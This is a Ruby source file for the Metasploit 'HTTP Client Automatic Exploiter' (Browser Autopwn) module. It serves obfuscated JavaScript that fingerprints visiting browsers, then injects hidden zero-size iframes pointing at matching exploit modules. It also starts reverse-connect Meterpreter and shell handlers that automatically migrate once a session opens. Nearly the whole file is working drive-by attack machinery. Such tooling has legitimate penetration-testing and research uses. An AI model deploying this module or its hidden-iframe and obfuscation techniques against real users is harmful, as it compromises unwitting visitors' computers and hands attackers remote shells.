##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

# ideas:
#	- add a loading page option so the user can specify arbitrary html to
#	  insert all of the evil js and iframes into
#	- caching is busted when different browsers come from the same IP

require 'msf/core'
require 'rex/exploitation/javascriptosdetect'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'HTTP Client Automatic Exploiter',
			'Version'     => '$Revision$',
			'Description' => %q{
					This module has three actions.  The first (and the default)
				is 'WebServer' which uses a combination of client-side and
				server-side techniques to fingerprint HTTP clients and then
				automatically exploit them.  Next is 'DefangedDetection' which
				does only the fingerprinting part.  Lastly, 'list' simply
				prints the names of all exploit modules that would be used by
				the WebServer action given the current MATCH and EXCLUDE
				options.
				
				Also adds a 'list' command which is the same as running with
				ACTION=list.
			},
			'Author'      =>
				[
					# initial concept, integration and extension of Jerome
					# Athias' os_detect.js
					'egypt',
				],
			'License'     => BSD_LICENSE,
			'Actions'     =>
				[
					[ 'WebServer', {
						'Description' => 'Start a bunch of modules and direct clients to appropriate exploits'
					} ],
					[ 'DefangedDetection', {
						'Description' => 'Only perform detection, send no exploits'
					} ],
					[ 'list', {
						'Description' => 'List the exploit modules that would be started'
					} ]
				],
			'PassiveActions' =>
				[ 'WebServer', 'DefangedDetection' ],
			'DefaultAction'  => 'WebServer'))

		register_options([
			OptAddress.new('LHOST', [true,
				'The IP address to use for reverse-connect payloads'
			]),
		], self.class)

		register_advanced_options([
			# We know that most of these exploits will crash the browser, so
			# set the default to run migrate right away if possible.
			OptString.new('InitialAutoRunScript', [false, "An initial script to run on session created (before AutoRunScript)",  'migrate -f']),
			OptString.new('AutoRunScript', [false, "A script to automatically on session creation.", '']),
			OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
			OptString.new('MATCH', [false,
				'Only attempt to use exploits whose name matches this regex'
			]),
			OptString.new('EXCLUDE', [false,
				'Only attempt to use exploits whose name DOES NOT match this regex'
			]),
			OptBool.new('DEBUG', [false,
				'Do not obfuscate the javascript and print various bits of useful info to the browser',
				false
			]),
			OptPort.new('LPORT_WIN32', [false,
				'The port to use for Windows reverse-connect payloads', 3333
			]),
			OptString.new('PAYLOAD_WIN32', [false,
				'The payload to use for Windows reverse-connect payloads',
				'windows/meterpreter/reverse_tcp'
			]),
			OptPort.new('LPORT_LINUX', [false,
				'The port to use for Linux reverse-connect payloads', 4444
			]),
			OptString.new('PAYLOAD_LINUX', [false,
				'The payload to use for Linux reverse-connect payloads',
				'linux/meterpreter/reverse_tcp'
			]),
			OptPort.new('LPORT_MACOS', [false,
				'The port to use for Mac reverse-connect payloads', 5555
			]),
			OptString.new('PAYLOAD_MACOS', [false,
				'The payload to use for Mac reverse-connect payloads',
				'osx/meterpreter/reverse_tcp'
			]),
			OptPort.new('LPORT_GENERIC', [false,
				'The port to use for generic reverse-connect payloads', 6666
			]),
			OptString.new('PAYLOAD_GENERIC', [false,
				'The payload to use for generic reverse-connect payloads6',
				'generic/shell_reverse_tcp'
			]),
			OptPort.new('LPORT_JAVA', [false,
				'The port to use for Java reverse-connect payloads', 7777
			]),
			OptString.new('PAYLOAD_JAVA', [false,
				'The payload to use for Java reverse-connect payloads',
				'java/meterpreter/reverse_tcp'
			]),
		], self.class)

		@exploits = Hash.new
		@payloads = Hash.new
		@targetcache = Hash.new
		@current_victim = Hash.new
		@handler_job_ids = []
	end


	##
	# CommandDispatcher stuff
	##

	def auxiliary_commands
		{
			'list' => "%red#{self.refname}%clr: List the exploits as filtered by MATCH and EXCLUDE"
		}
	end

	def cmd_list(*args)
		print_status("Listing Browser Autopwn exploits:")
		print_line
		each_autopwn_module do |name, mod|
			@exploits[name] = nil
			print_line name
		end
		print_line
		print_status("Found #{@exploits.length} exploit modules")
	end

	##
	# Actual exploit stuff
	##

	def run
		if (action.name == 'list')
			cmd_list
		elsif (action.name == 'DefangedDetection')
			# Do everything we'd normally do for exploits, but don't start any
			# actual exploit modules
			exploit()
		else
			start_exploit_modules()
			if @exploits.length < 1
				print_error("No exploits, check your MATCH and EXCLUDE settings")
				return false
			end
			exploit()
		end
	end


	def setup

		@init_js = ::Rex::Exploitation::ObfuscateJS.new
		@init_js << <<-ENDJS

			#{js_os_detect}
			#{js_base64}

			function make_xhr() {
				var xhr;
				try {
					xhr = new XMLHttpRequest();
				} catch(e) {
					try {
						xhr = new ActiveXObject("Microsoft.XMLHTTP");
					} catch(e) {
						xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
					}
				}
				if (! xhr) {
					throw "failed to create XMLHttpRequest";
				}
				return xhr;
			}

			function report_and_get_exploits(detected_version) {
				var encoded_detection;
				xhr = make_xhr();
				xhr.onreadystatechange = function () {
					if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
						eval(xhr.responseText);
					}
				};

				encoded_detection = new String();
				#{js_debug('navigator.userAgent+"<br><br>"')}
				for (var prop in detected_version) {
					#{js_debug('prop + " " + detected_version[prop] +"<br>"')}
					encoded_detection += detected_version[prop] + ":";
				}
				//#{js_debug('encoded_detection + "<br>"')}
				encoded_detection = Base64.encode(encoded_detection);
				xhr.open("GET", document.location + "?sessid=" + encoded_detection);
				xhr.send(null);
			}

			function bodyOnLoad() {
				var detected_version = getVersion();
				//#{js_debug('detected_version')}
				report_and_get_exploits(detected_version);
			} // function bodyOnLoad
		ENDJS

		opts = {
			'Symbols' => {
				'Variables'   => [
					'xhr',
					'encoded_detection',
				],
				'Methods'   => [
					'report_and_get_exploits',
					'handler',
					'bodyOnLoad',
				]
			},
			'Strings' => true,
		}

		@init_js.update_opts(opts)
		@init_js.update_opts(js_os_detect.opts)
		@init_js.update_opts(js_base64.opts)
		if (datastore['DEBUG'])
			print_status("Adding debug code")
			@init_js << <<-ENDJS
				if (!(typeof(debug) == 'function')) {
					function htmlentities(str) {
						str = str.replace(/>/g, '&gt;');
						str = str.replace(/</g, '&lt;');
						str = str.replace(/&/g, '&amp;');
						return str;
					}
					function debug(msg) {
						document.body.innerHTML += (msg + "<br />\\n");
					}
				}
			ENDJS
		else
			@init_js.obfuscate()
		end

		#@init_js << "window.onload = #{@init_js.sym("bodyOnLoad")};";
		@init_html  = %Q|<html > <head > <title > Loading </title>\n|
		@init_html << %Q|<script language="javascript" type="text/javascript">|
		@init_html << %Q|<!-- \n #{@init_js} //-->|
		@init_html << %Q|</script> </head> |
		@init_html << %Q|<body onload="#{@init_js.sym("bodyOnLoad")}()"> |
		@init_html << %Q|<noscript> \n|
		# Don't use build_iframe here because it will break detection in
		# DefangedDetection mode when the target has js disabled.
		@init_html << %Q|<iframe src="#{self.get_resource}?ns=1"></iframe>|
		@init_html << %Q|</noscript> \n|
		@init_html << %Q|</body> </html> |

		#
		# I'm still not sold that this is the best way to do this, but random
		# LPORTs causes confusion when things break and breakage when firewalls
		# are in the way.  I think the ideal solution is to have
		# self-identifying payloads so we'd only need 1 LPORT for multiple
		# stagers.
		#
		@win_lport  = datastore['LPORT_WIN32']
		@win_payload  = datastore['PAYLOAD_WIN32']
		@lin_lport  = datastore['LPORT_LINUX']
		@lin_payload  = datastore['PAYLOAD_LINUX']
		@osx_lport  = datastore['LPORT_MACOS']
		@osx_payload  = datastore['PAYLOAD_MACOS']
		@gen_lport  = datastore['LPORT_GENERIC']
		@gen_payload  = datastore['PAYLOAD_GENERIC']
		@java_lport = datastore['LPORT_JAVA']
		@java_payload = datastore['PAYLOAD_JAVA']

		minrank = framework.datastore['MinimumRank'] || 'manual'
		if not RankingName.values.include?(minrank)
			print_error("MinimumRank invalid!  Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})")
			wlog("MinimumRank invalid, ignoring", 'core', LEV_0)
		end
		@minrank = RankingName.invert[minrank]

	end


	def init_exploit(name, mod = nil, targ = 0)
		if mod.nil?
			@exploits[name] = framework.modules.create(name)
		else
			@exploits[name] = mod.new
		end
		@exploits[name] = framework.modules.reload_module(@exploits[name])

		# Reloading failed
		unless @exploits[name]
			@exploits.delete(name)
			return 
		end

		apo = @exploits[name].class.autopwn_opts
		if (apo[:rank] < @minrank)
			@exploits.delete(name)
			return false
		end

		case name
		when %r{windows}
			payload = @win_payload
			lport = @win_lport
=begin
		#
		# Some day, we'll support Linux and Mac OS X here.. 
		#

		when %r{linux}
			payload = @lin_payload
			lport = @lin_lport

		when %r{osx}
			payload = @osx_payload
			lport = @osx_lport
=end

		# We need to check that it's /java_ instead of just java since it would
		# clash with things like mozilla_navigatorjava.  Better would be to
		# check the actual platform of the module here but i'm lazy.
		when %r{/java_}
			payload = @java_payload
			lport = @java_lport
		else
			payload = @gen_payload
			lport = @gen_lport
		end
		@payloads[lport] = payload

		print_status("Starting exploit #{name} with payload #{payload}")
		@exploits[name].datastore['SRVHOST'] = datastore['SRVHOST']
		@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']

		# For testing, set the exploit uri to the name of the exploit so it's
		# easy to tell what is happening from the browser.
		if (datastore['DEBUG'])
			@exploits[name].datastore['URIPATH'] = name
		else
			# randomize it manually since if a saved value exists in the user's
			# configuration, the saved value will get used if we set it to nil
			@exploits[name].datastore['URIPATH'] = Rex::Text.rand_text_alpha(rand(10) + 4)
		end

		@exploits[name].datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
		@exploits[name].datastore['MODULE_OWNER'] = self.owner
		@exploits[name].datastore['ParentUUID'] = datastore["ParentUUID"] if datastore["ParentUUID"]
		@exploits[name].datastore['AutopwnUUID'] = self.uuid
		@exploits[name].datastore['LPORT'] = lport
		@exploits[name].datastore['LHOST'] = @lhost
		@exploits[name].datastore['SSL'] = datastore['SSL']
		@exploits[name].datastore['SSLVersion'] = datastore['SSLVersion']
		@exploits[name].datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread'
		@exploits[name].datastore['DisablePayloadHandler'] = true
		@exploits[name].exploit_simple(
			'LocalInput'     => self.user_input,
			'LocalOutput'    => self.user_output,
			'Target'         => targ,
			'Payload'        => payload,
			'RunAsJob'       => true)

		# It takes a little time for the resources to get set up, so sleep for
		# a bit to make sure the exploit is fully working.  Without this,
		# mod.get_resource doesn't exist when we need it.
		Rex::ThreadSafe.sleep(0.5)

		# Make sure this exploit got set up correctly, return false if it
		# didn't
		if framework.jobs[@exploits[name].job_id.to_s].nil?
			print_error("Failed to start exploit module #{name}")
			@exploits.delete(name)
			return false
		end

		# Since r9714 or so, exploit_simple copies the module instead of
		# operating on it directly when creating a job.  Put the new copy into
		# our list of running exploits so we have access to its state.  This
		# allows us to get the correct URI for each exploit in the same manor
		# as before, using mod.get_resource().
		@exploits[name] = framework.jobs[@exploits[name].job_id.to_s].ctx[0]

		return true
	end


	def start_exploit_modules()
		@lhost = (datastore['LHOST'] || "0.0.0.0")

		@js_tests = {}
		@noscript_tests = {}

		print_line
		print_status("Starting exploit modules on host #{@lhost}...")
		print_status("---")
		print_line
		each_autopwn_module do |name, mod|
			# Start the module.  If that fails for some reason, don't bother
			# adding tests for it.
			next if !(init_exploit(name))

			apo = mod.autopwn_opts.dup
			apo[:name] = name.dup
			apo[:vuln_test] ||= ""

			if apo[:classid]
				# Then this is an IE exploit that uses an ActiveX control,
				# build the appropriate tests for it.
				method = apo[:vuln_test].dup
				apo[:vuln_test] = ""
				apo[:ua_name] = HttpClients::IE
				if apo[:classid].kind_of?(Array)  # then it's many classids
					apo[:classid].each { |clsid|
						apo[:vuln_test] << "if (testAXO('#{clsid}', '#{method}')) {\n"
						apo[:vuln_test] << " is_vuln = true;\n"
						apo[:vuln_test] << "}\n"
					}
				else
					apo[:vuln_test] << "if (testAXO('#{apo[:classid]}', '#{method}')) {\n"
					apo[:vuln_test] << " is_vuln = true;\n"
					apo[:vuln_test] << "}\n"
				end
			end

			# If the exploit supplies a min/max version, build up a test to
			# check for the proper version.  Note: The version comparison
			# functions come from javascriptosdetect.
			if apo[:ua_minver] and apo[:ua_maxver]
				ver_test =
						"!ua_ver_lt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_minver]}') && " +
						"!ua_ver_gt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_maxver]}')"
			elsif apo[:ua_minver]
				ver_test = "!ua_ver_lt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_minver]}')\n"
			elsif apo[:ua_maxver]
				ver_test = "!ua_ver_gt(detected_version.#{@init_js.sym("ua_version")}, '#{apo[:ua_maxver]}')\n"
			else
				ver_test = nil
			end

			# if we built a version check above, add it to the normal test
			if ver_test
				test =  "if (#{ver_test}) { "
				test << (apo[:vuln_test].empty? ? "is_vuln = true;" : apo[:vuln_test])
				test << "} else { is_vuln = false; }\n"
				apo[:vuln_test] = test
			end

			# Now that we've got all of our exploit tests put together,
			# organize them into requires-scripting and
			# doesnt-require-scripting, sorted by browser name.
			if apo[:javascript] && apo[:ua_name]
				@js_tests[apo[:ua_name]] ||= []
				@js_tests[apo[:ua_name]].push(apo)
			elsif apo[:javascript]
				@js_tests["generic"] ||= []
				@js_tests["generic"].push(apo)
			elsif apo[:ua_name]
				@noscript_tests[apo[:ua_name]] ||= []
				@noscript_tests[apo[:ua_name]].push(apo)
			else
				@noscript_tests["generic"] ||= []
				@noscript_tests["generic"].push(apo)
			end
		end

		# start handlers for each type of payload
		[@win_lport, @lin_lport, @osx_lport, @gen_lport, @java_lport].each do |lport|
			if (lport and @payloads[lport])
				print_status("Starting handler for #{@payloads[lport]} on port #{lport}")
				multihandler = framework.modules.create("exploit/multi/handler")
				multihandler.datastore['MODULE_OWNER'] = self.datastore['MODULE_OWNER']
				multihandler.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
				multihandler.datastore['ParentUUID'] = datastore["ParentUUID"] if datastore["ParentUUID"]
				multihandler.datastore['AutopwnUUID'] = self.uuid
				multihandler.datastore['LPORT'] = lport
				multihandler.datastore['LHOST'] = @lhost
				multihandler.datastore['ExitOnSession'] = false
				multihandler.datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread'
				multihandler.datastore["ReverseListenerBindAddress"] = datastore["ReverseListenerBindAddress"]
				# XXX: Revisit this when we have meterpreter working on more than just windows
				if (lport == @win_lport)
					multihandler.datastore['AutoRunScript'] = datastore['AutoRunScript']
					multihandler.datastore['AutoSystemInfo'] = datastore['AutoSystemInfo']
					multihandler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript']
				end
				multihandler.exploit_simple(
					'LocalInput'     => self.user_input,
					'LocalOutput'    => self.user_output,
					'Payload'        => @payloads[lport],
					'RunAsJob'       => true)
				@handler_job_ids.push(multihandler.job_id)
			end
		end
		# let the handlers get set up
		Rex::ThreadSafe.sleep(0.5)

		print_line
		print_status("--- Done, found %bld%grn#{@exploits.length}%clr exploit modules")
		print_line

		# Sort the tests by reliability, descending.
		@js_tests.each { |browser,tests|
			tests.sort! {|a,b| b[:rank] <=> a[:rank]}
		}

		# This matters a lot less for noscript exploits since they basically
		# get thrown into a big pile of iframes that the browser will load
		# semi-concurrently.  Still, might as well.
		@noscript_tests.each { |browser,tests|
			tests.sort! {|a,b| b[:rank] <=> a[:rank]}
		}

	end

	#
	# Main dispatcher method for when we get a request
	#
	def on_request_uri(cli, request)
		print_status("#{cli.peerhost.ljust 16} Browser Autopwn request '#{request.uri}'")

		case request.uri
		when self.get_resource
			# This is the first request.  Send the javascript fingerprinter and
			# hope it sends us back some data.  If it doesn't, javascript is
			# disabled on the client and we will have to do a lot more
			# guessing.
			response = create_response()
			response["Expires"] = "0"
			response["Cache-Control"] = "must-revalidate"
			response.body = @init_html
			cli.send_response(response)
		when %r{^#{self.get_resource}.*sessid=}
			# This is the request for the exploit page when javascript is
			# enabled.  Includes the results of the javascript fingerprinting
			# in the "sessid" parameter as a base64 encoded string.
			record_detection(cli, request)
			if (action.name == "DefangedDetection")
				response = create_response()
				response.body = "Please wait"
			else
				print_status("Responding with exploits")
				response = build_script_response(cli, request)
			end
			response["Expires"] = "0"
			response["Cache-Control"] = "must-revalidate"

			cli.send_response(response)
		when %r{^#{self.get_resource}.*ns=1}
			# This is the request for the exploit page when javascript is NOT
			# enabled.  Since scripting is disabled, fall back to useragent
			# detection, which is kind of a bummer since it's so easy for the
			# ua string to lie.  It probably doesn't matter that much because
			# most of our exploits require javascript anyway.
			print_status("Browser has javascript disabled, trying exploits that don't need it")
			record_detection(cli, request)
			if (action.name == "DefangedDetection")
				response = create_response()
				response.body = "Please wait"
			else
				print_status("Responding with non-javascript exploits")
				response = build_noscript_response(cli, request)
			end

			response["Expires"] = "0"
			response["Cache-Control"] = "must-revalidate"
			cli.send_response(response)
		else
			print_status("404ing #{request.uri}")
			send_not_found(cli)
			return false
		end
	end

	def html_for_exploit(autopwn_info, client_info)
		html = ""

		html << (autopwn_info[:prefix_html] || "") + "\n"
		html << build_iframe(exploit_resource(autopwn_info[:name])) + "\n"
		html << (autopwn_info[:postfix_html] || "") + "\n"

		if (HttpClients::IE == autopwn_info[:ua_name])
			html = "<!--[if IE]>\n#{html}\n<![endif]-->\n"
		end

		html
	end

	def build_noscript_html(cli, request)
		client_info = get_client(:host => cli.peerhost, :ua_string => request['User-Agent'])
		body = ""

		@noscript_tests.each { |browser, sploits|
			next if sploits.length == 0

			next unless client_matches_browser(client_info, browser)

			sploits.each do |s|
				body << html_for_exploit( s, client_info )
			end
		}
		body
	end

	def build_noscript_response(cli, request)

		response = create_response()
		response['Expires'] = '0'
		response['Cache-Control'] = 'must-revalidate'

		response.body  = "<html > <head > <title > Loading </title> </head> "
		response.body << "<body> "
		response.body << "Please wait "
		response.body << build_noscript_html(cli, request)
		response.body << "</body> </html> "

		return response
	end

	#
	# Build some javascript that attempts to determine which exploits to run
	# for the victim's OS and browser.
	# 
	# Returns a raw javascript string to be eval'd on the victim
	#
	def build_script_response(cli, request)
		response = create_response()
		response['Expires'] = '0'
		response['Cache-Control'] = 'must-revalidate'

		host_info   = get_host(:host => cli.peerhost)
		client_info = get_client(:host => cli.peerhost, :ua_string => request['User-Agent'])
		#print_status("Client info: #{client_info.inspect}")

		js = ::Rex::Exploitation::ObfuscateJS.new
		# If we didn't get a client from the database, then the detection
		# is borked or the db is not connected, so fallback to sending
		# some IE-specific stuff with everything.  Do the same if the
		# exploit didn't specify a client.  Otherwise, make sure this is
		# IE before sending code for ActiveX checks.
		if (client_info.nil? || [nil, HttpClients::IE].include?(client_info[:ua_name]))
			# If we have a class name (e.g.: "DirectAnimation.PathControl"),
			# use the simple and direct "new ActiveXObject()".  If we
			# have a classid instead, first try creating the object
			# with createElement("object").  However, some things
			# don't like being created this way (specifically winzip),
			# so try writing out an object tag as well.  One of these
			# two methods should succeed if the object with the given
			# classid can be created.
			js << <<-ENDJS
				function testAXO(axo_name, method) {
					if (axo_name.substring(0,1) == String.fromCharCode(123)) {
						axobj = document.createElement("object");
						axobj.setAttribute("classid", "clsid:" + axo_name);
						axobj.setAttribute("id", axo_name);
						axobj.setAttribute("style", "visibility: hidden");
						axobj.setAttribute("width", "0px");
						axobj.setAttribute("height", "0px");
						document.body.appendChild(axobj);
						if (typeof(axobj[method]) == 'undefined') {
							var attributes = 'id="' + axo_name + '"';
							attributes += ' classid="clsid:' + axo_name + '"';
							attributes += ' style="visibility: hidden"';
							attributes += ' width="0px" height="0px"';
							document.body.innerHTML += "<object " + attributes + "></object>";
							axobj = document.getElementById(axo_name);
						}
					} else {
						try {
							axobj = new ActiveXObject(axo_name);
						} catch(e) {
							axobj = '';
						};
					}
					#{js_debug('axo_name + "." + method + " = " + typeof axobj[method] + "<br/>"')}
					if (typeof(axobj[method]) != 'undefined') {
						return true;
					}
					return false;
				}
			ENDJS
			# End of IE-specific test functions
		end
		# Generic stuff that is needed regardless of what browser was detected.
		js << <<-ENDJS
			var written_iframes = new Array();
			function write_iframe(myframe) {
				var iframe_idx; var mybody;
				for (iframe_idx in written_iframes) {
					if (written_iframes[iframe_idx] == myframe) {
						return;
					}
				}
				written_iframes[written_iframes.length] = myframe;
				str = '';
				str += '<iframe src="' + myframe + '" style="visibility:hidden" height="0" width="0" border="0"></iframe>';
				document.body.innerHTML += (str);
			}
			function next_exploit(exploit_idx) {
				#{js_debug("'next_exploit(' + exploit_idx +')'")}
				if (!global_exploit_list[exploit_idx]) {
					#{js_debug("'End'")}
					return;
				}
				#{js_debug("'trying ' + global_exploit_list[exploit_idx].resource + '<br>'")}
				// Wrap all of the vuln tests in a try-catch block so a
				// single borked test doesn't prevent other exploits
				// from working.
				try {
					var test = global_exploit_list[exploit_idx].test;
					if (!test) {
						test = "true";
					} else {
						test = "try {" + test + "} catch (e) { is_vuln = false; }; is_vuln";
					}

					if (eval(test)) {
						#{js_debug("'test says it is vuln, writing iframe for ' + global_exploit_list[exploit_idx].resource + '<br>'")}
						write_iframe(global_exploit_list[exploit_idx].resource);
						setTimeout("next_exploit(" + (exploit_idx+1).toString() + ")", 1000);
					} else {
						#{js_debug("'this client does not appear to be vulnerable to ' + global_exploit_list[exploit_idx].resource + '<br>'")}
						next_exploit(exploit_idx+1);
					}
				} catch(e) {
					#{js_debug("'test threw an exception, trying next one'")}
					next_exploit(exploit_idx+1);
				};
			}
			window.next_exploit = next_exploit;
		ENDJS
		opts = {
			'Symbols' => {
				'Variables'   => [
					'written_iframes',
					'myframe',
					'mybody',
					'iframe_idx',
					'is_vuln',
					'global_exploit_list',
					'exploit_idx',
				],
				'Methods'   => [
					'write_iframe',
					'next_exploit',
				]
			},
			'Strings' => true,
		}

		# Prepare all of the tests for next_exploit to loop through
		js << "var global_exploit_list = []\n";
		# if we have no client_info, this will add all tests. Otherwise tries
		# to only send tests for exploits that target the client's detected
		# browser.
		@js_tests.each { |browser, sploits|
			next unless client_matches_browser(client_info, browser)

			if (client_info.nil? || [nil, browser].include?(client_info[:ua_name]))
				sploits.each do |s|
					if s[:vuln_test].nil? or s[:vuln_test].empty?
						test = "is_vuln = true"
					else
						# get rid of newlines and escape quotes
						test = s[:vuln_test].gsub("\n",'').gsub("'", "\\\\'")
					end
					# shouldn't be any in the resource, but just in case...
					res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")

					# Skip exploits that don't match the client's OS.
					if (host_info and host_info[:os_name] and s[:os_name])
						# Host os normalization will set os_name to "Unknown"
						# if it has no fingerprinting info.  
						#
						# See lib/msf/core/model/host.rb
						if host_info[:os_name] != "Unknown"
							next unless s[:os_name].include?(host_info[:os_name])
						end
					end
					js << "global_exploit_list[global_exploit_list.length] = {\n"
					js << "  'test':'#{test}',\n"
					js << "  'resource':'#{res}'\n"
					js << "};\n"
				end
			end
		}

		# Add a javaEnabled() test specifically for java exploits.  Other
		# exploits that don't require javascript go into a big pile of iframes
		# that will be dumped out after other exploitation is done, assuming
		# the browser didn't stop somewhere along the way due to a successful
		# exploit or a crash from all the memory raping we just did.
		noscript_html = ""
		@noscript_tests.each { |browser, sploits|
			sploits.each do |s|
				if s[:name] =~ %r|/java_|
					res = exploit_resource(s[:name]).gsub("\n",'').gsub("'", "\\\\'")
					js << "global_exploit_list[global_exploit_list.length] = {\n"
					js << "  'test':'is_vuln = navigator.javaEnabled()',\n"
					js << "  'resource':'#{res}'\n"
					js << "};\n"
				else
					# Some other kind of exploit that we can't generically
					# check for in javascript, throw it on the pile.
					noscript_html << html_for_exploit(s, client_info)
				end
			end
		}
		js << "#{js_debug("'starting exploits<br>'")}\n"
		js << "next_exploit(0);\n"

		# If all of our exploits that require javascript fail, try to continue
		# with those that don't
		js << %Q|var noscript_exploits = "|
		js << Rex::Text.to_hex(noscript_html, "%")
		js << %Q|";\n|
		js << %Q|noscript_div = document.createElement("div");\n|
		js << %Q|noscript_div.innerHTML = unescape(noscript_exploits);\n|
		js << %Q|document.body.appendChild(noscript_div);\n|

		opts['Symbols']['Methods'].push("noscript_exploits")
		opts['Symbols']['Methods'].push("noscript_div")

		if not datastore['DEBUG']
			js.obfuscate
		end
		response.body = "#{js}"

		return response
	end

	# 
	# Yields each module that exports autopwn_info, filtering on MATCH and EXCLUDE options
	#
	def each_autopwn_module(&block)
		m_regex = datastore["MATCH"]   ? %r{#{datastore["MATCH"]}}   : %r{}
		e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
		framework.exploits.each_module do |name, mod|
			if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex)
				yield name, mod
			end
		end
	end

	#
	# Returns true if an exploit for +browser+ (one of the +OperatingSystems+
	# constants) should be sent for a particilar client.  +client_info+ should
	# be something returned by +get_client+.
	#
	# If +client_info+ is nil then get_client failed and we have no
	# knowledge of this client, so we can't assume anything about their
	# browser.  If the exploit does not specify a browser target, that
	# means it it is generic and will work anywhere (or at least be
	# able to autodetect).  If the currently connected client's ua_name
	# is nil, then the fingerprinting didn't work for some reason.
	# Lastly, check to see if the client's browser matches the browser
	# targetted by this group of exploits. In all of these cases, we
	# need to send all the exploits in the list.
	#
	# In contrast, if we have all of that info and it doesn't match, we
	# don't need to bother sending it.
	#
	def client_matches_browser(client_info, browser)
		if client_info and browser and client_info[:ua_name] 
			if browser != "generic" and  client_info[:ua_name] != browser
				return false
			end
		end

		true
	end


	# consider abstracting this out to a method (probably
	# with a different name) of Msf::Auxiliary::Report or
	# Msf::Exploit::Remote::HttpServer
	def record_detection(cli, request)
		os_name = nil
		os_flavor = nil
		os_sp = nil
		os_lang = nil
		arch = nil
		ua_name = nil
		ua_ver = nil

		data_offset = request.uri.index('sessid=')
		#p request['User-Agent']
		if (data_offset.nil? or -1 == data_offset)
			# then we didn't get a report back from our javascript
			# detection; make a best guess effort from information
			# in the user agent string.  The OS detection should be
			# roughly the same as the javascript version on non-IE
			# browsers because it does most everything with
			# navigator.userAgent
			print_status("Recording detection from User-Agent: #{request['User-Agent']}")
			report_user_agent(cli.peerhost, request)
		else
			data_offset += 'sessid='.length
			detected_version = request.uri[data_offset, request.uri.length]
			if (0 < detected_version.length)
				detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
				print_status("JavaScript Report: #{detected_version}")
				(os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':')

				if framework.db.active
					note_data = { }
					note_data[:os_name]   = os_name   if os_name != "undefined"
					note_data[:os_flavor] = os_flavor if os_flavor != "undefined"
					note_data[:os_sp]     = os_sp     if os_sp != "undefined"
					note_data[:os_lang]   = os_lang   if os_lang != "undefined"
					note_data[:arch]      = arch      if arch != "undefined"
					print_status("Reporting: #{note_data.inspect}")

					report_note({
						:host => cli.peerhost,
						:type => 'javascript_fingerprint',
						:data => note_data,
						:update => :unique_data,
					})
					client_info = ({
						:host      => cli.peerhost,
						:ua_string => request['User-Agent'],
						:ua_name   => ua_name,
						:ua_ver    => ua_ver
					})
					report_client(client_info)
				end
			end
		end

		# Always populate the target cache since querying the database is too
		# slow for real-time.
		key = cli.peerhost + request['User-Agent']
		@targetcache ||= {}
		@targetcache[key] ||= {}
		@targetcache[key][:updated_at] = Time.now.to_i

		# Clean the cache
		rmq = []
		@targetcache.each_key do |addr|
			if (Time.now.to_i > @targetcache[addr][:updated_at]+60)
				rmq.push addr
			end
		end
		rmq.each {|addr| @targetcache.delete(addr) }

		# Keep the attributes the same as if it were created in
		# the database.
		@targetcache[key][:updated_at] = Time.now.to_i
		@targetcache[key][:ua_string] = request['User-Agent']
		@targetcache[key][:ua_name] = ua_name
		@targetcache[key][:ua_ver] = ua_ver
	end

	# Override super#get_client to use a cache since the database is generally
	# too slow to be useful for realtime tasks.  This essentially creates an
	# in-memory database.  The upside is that it works if the database is
	# broken (which seems to be all the time now).
	def get_client(opts)
		host = opts[:host]
		return @targetcache[opts[:host]+opts[:ua_string]]
	end

	def build_iframe(resource)
		ret = ''
		if (action.name == 'DefangedDetection')
			ret << "<p>iframe #{resource}</p>"
		else
			ret << %Q|<iframe src="#{resource}" style="visibility:hidden" height="0" width="0" border="0"></iframe>|
			#ret << %Q|<iframe src="#{resource}" ></iframe>|
		end
		return ret
	end

	def exploit_resource(name)
		if (@exploits[name] && @exploits[name].respond_to?("get_resource"))
			#print_line("Returning #{@exploits[name].get_resource.inspect}, for #{name}")
			return @exploits[name].get_resource
		else
			print_error("Don't have an exploit by that name, returning 404#{name}.html")
			return "404#{name}.html"
		end
	end

	def js_debug(msg)
		if datastore['DEBUG']
			return "document.body.innerHTML += #{msg};"
		end
		return ""
	end

	def cleanup
		print_status("Cleaning up exploits...")
		@exploits.each_pair do |name, mod|
			# if the module died for some reason, we can't kill it
			next unless mod
			framework.jobs[mod.job_id.to_s].stop if framework.jobs[mod.job_id.to_s]
		end
		@handler_job_ids.each do |id|
			framework.jobs[id.to_s].stop if framework.jobs[id.to_s]
		end
		super
	end

end